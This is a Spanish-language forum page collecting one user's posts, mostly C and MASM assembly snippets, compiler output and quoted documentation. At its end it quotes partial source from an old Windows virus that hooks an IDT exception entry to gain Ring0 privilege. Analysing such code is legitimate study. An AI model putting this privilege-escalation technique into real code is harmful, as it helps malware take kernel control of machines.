Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
CitarEfectivamente, no solo hay que conceder esto, sino que se puede demostrar matemáticamente: si varios cuerpos distintos giran con movimiento uniforme en círculos concéntricos y los cuadrados de los tiempos periódicos son como los cubos de las distancias al centro común, las fuerzas centripetas seran inversamente como los cuadrados de las distancias.
CitarLos cuadrados de los tiempos periodicos¿Qué relación causal podría tener un cuadrado de un tiempo periódico con un cubo de una distancia? ¿Que sentido puede tener expresar algo que sólo ocurre linealmente (en términos de la física newtoniana) de forma exponencial?
int foo1 ()
{
return 1+foo2 ();
}
int foo2 ()
{
return 1-foo1 ();
}
int main ()
{
return foo1 ();
}
/*...*/
struct _hdr
char data1;
double data2;
char *data3;
};
/*...*/
struct _hdr foo (void)
{
struct _hdr instance;
/*...*/
return instance;
}
/*...*/CitarInteger values and memory addresses are returned in the EAX registerhttps://en.wikipedia.org/wiki/X86_calling_conventions
.686p
.model flat, stdcall
includelib \masm32\lib\msvcrt.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
printf proto C, :vararg
exit proto C, :dword
putchar proto C, :dword
strlen proto C, :dword
strcpy proto C, :dword, :dword
strcmp proto C, :dword, :dword
memset proto C, :dword, :dword, :dword
GetCommandLineW proto stdcall
CommandLineToArgvW proto stdcall, :dword, :dword
t macro i:vararg
local s
const segment
s db i, 0
const ends
exitm <offset s>
endm
halt macro
local s
s:
jmp s
endm
.data?
db ?
.data
db ?
.code
start:
call main
invoke exit, 0h
main proc
local szFileName[256]:byte, szKey[256]:byte, szCmdLine:dword, lpArgv:dword, dwArgc:dword
invoke memset, addr szFileName, 256, 0
invoke memset, addr szKey, 256, 0
invoke GetCommandLineW
mov szCmdLine, eax
invoke CommandLineToArgvW, szCmdLine, addr dwArgc
mov lpArgv, eax
test eax, eax
jnz @0
invoke printf, t(0ah, 0dh, "Error loading command line information.")
mov eax, -1
ret
@0:
xor ecx, ecx
mov ecx, 01h
mov ebx, lpArgv
.while ecx<dwArgc
mov ebx, lpArgv
mov eax, 4
mul ecx
add ebx, eax
mov ebx, [ebx]
push ecx
invoke printf, t(0ah, 0dh, "Argument %d is %s"), ecx, ebx
pop ecx
push ecx
invoke strcmp, ebx, t("-i")
pop ecx
test eax, eax
jnz @1
push ecx
inc ecx
mov eax, 4
mul ecx
add ebx, eax
mov ebx, [ebx]
invoke strcpy, addr szFileName, ebx
pop ecx
@1:
inc ecx
.endw
ret
main endp
end startCitarmov ebx, lpArgv
mov eax, 4
mul ecx
add ebx, eax
mov ebx, [ebx]
push ecx
invoke printf, t(0ah, 0dh, "Argument %d is %s"), ecx, ebx
pop ecx
CitarC:\Users\Programming\Desktop>console abc def
Argument 1 is a
Argument 2 is d
C:\Users\Programming\Desktop>
CitarPOLINK: error: Unresolved external symbol '_GetCommandLineA'.
.686p
.model flat, stdcall
includelib \masm32\lib\msvcrt.lib
includelib \masm32\lib\kernel32.lib
printf proto C, :dword
exit proto C, :dword
extern stdcall GetCommandLineA: proc
t macro i:vararg
local s
const segment
s db i, 0
const ends
exitm <offset s>
endm
.data?
db ?
.data
db ?
.code
start:
call main
invoke exit, 0h
main proc
call GetCommandLineA
ret
main endp
end start
_struct struct
data0 db 64 dup (?)
data1 db 64 dup (?)
_struct endsCitarname STRUCT ⟦alignment⟧ ⟦, NONUNIQUE⟧https://docs.microsoft.com/es-es/cpp/assembler/masm/struct-masm?view=msvc-160
field-declarations
name ENDS
CitarEnables assembly of nonprivileged instructions for the Pentium Pro processor. (32-bit MASM only.)https://docs.microsoft.com/en-us/cpp/assembler/masm/dot-686?view=msvc-160
.data
data db "String.", 0
;...
invoke ..., offset data.data
;...
invoke ..., DISPLTXT("String.", 0)mov ebp, esp
push eax ;a partir de ahora existe una variable en SS:EBP+ESP+4
#include <stdio.h>
int main()
{
printf ("Im the output.");
getchar ();
return 0;
}
.686
.model FLAT
includelib \masm32\lib\msvcrt.lib
printf proto C, :dword
getchar proto C
exit proto C, :dword
.data?
dd ?
.data
__0 db "Im the output.", 0
.code
start:
call main
invoke exit, 0
main proc
invoke printf, offset __0
invoke getchar
ret
main endp
end startCitarThe process of mapping an application's virtual address space to physical memory under AWE is known as "windowing", and is similar to the overlay concept of other environments. AWE is beneficial to certain data-intensive applications, such as database management systems and scientific and engineering software, that need to manipulate very large data sets while minimizing paging.
CitarSe conoce como túnel o tunneling a la técnica que consiste en encapsular un protocolo de red sobre otro (protocolo de red encapsulador) creando un túnel de información dentro de una red de computadoras.https://es.wikipedia.org/wiki/T%C3%BAnel_(inform%C3%A1tica)
Citarrepresentationhttps://tools.ietf.org/html/rfc2616#page-8
An entity included with a response that is subject to content
negotiation, as described in section 12. There may exist multiple
representations associated with a particular response status.
.
#include <conio.h>
#include <stdio.h>
#define SIZE 10
int getsn(char *szBuffer, int n)
{
int c, i;
i=0;
while (i<n)
{
while (!kbhit ()); c=getch();
switch(c)
{
case '\b':
if(i>0)
{
i--;
putchar ('\b');
putchar (' ');
putchar ('\b');
}
break;
case '\r':
case '\n':
szBuffer[i]=0;
return i;
break;
default:
szBuffer[i++]=c;
putchar (c);
break;
}
}
szBuffer[n]=0;
return n;
}
int main()
{
char szBuffer[SIZE];
printf ("\r\nENTER FIXED (%d) DATA: ", SIZE);
getsn(szBuffer, SIZE);
printf ("\r\nDATA IS: %s", szBuffer);
printf ("\r\n");
getchar ();
return 0;
}
mov al, [0b]mov eax, [08]Citar
MyVirusStart:
push ebp
; *************************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; *************************************
lea eax, [esp-04h*2]
xor ebx, ebx
xchg eax, fs:[ebx]
call @0
@0:
pop ebx
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ;
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
;...
; *************************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
; * to Get Ring0 Privilege... *
; *************************************
push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
add ebx, HookExceptionNumber*08h+04h ; ZF = 0
cli
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Point
lea esi, MyExceptionHook-@1[ecx]
push esi
mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address
pop esipush eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;
mov ebp, [ebx] ; Get Exception Base
mov bp, [ebx-04h] ; Entry Pointlea esi, MyExceptionHook-@1[ecx]mov [ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address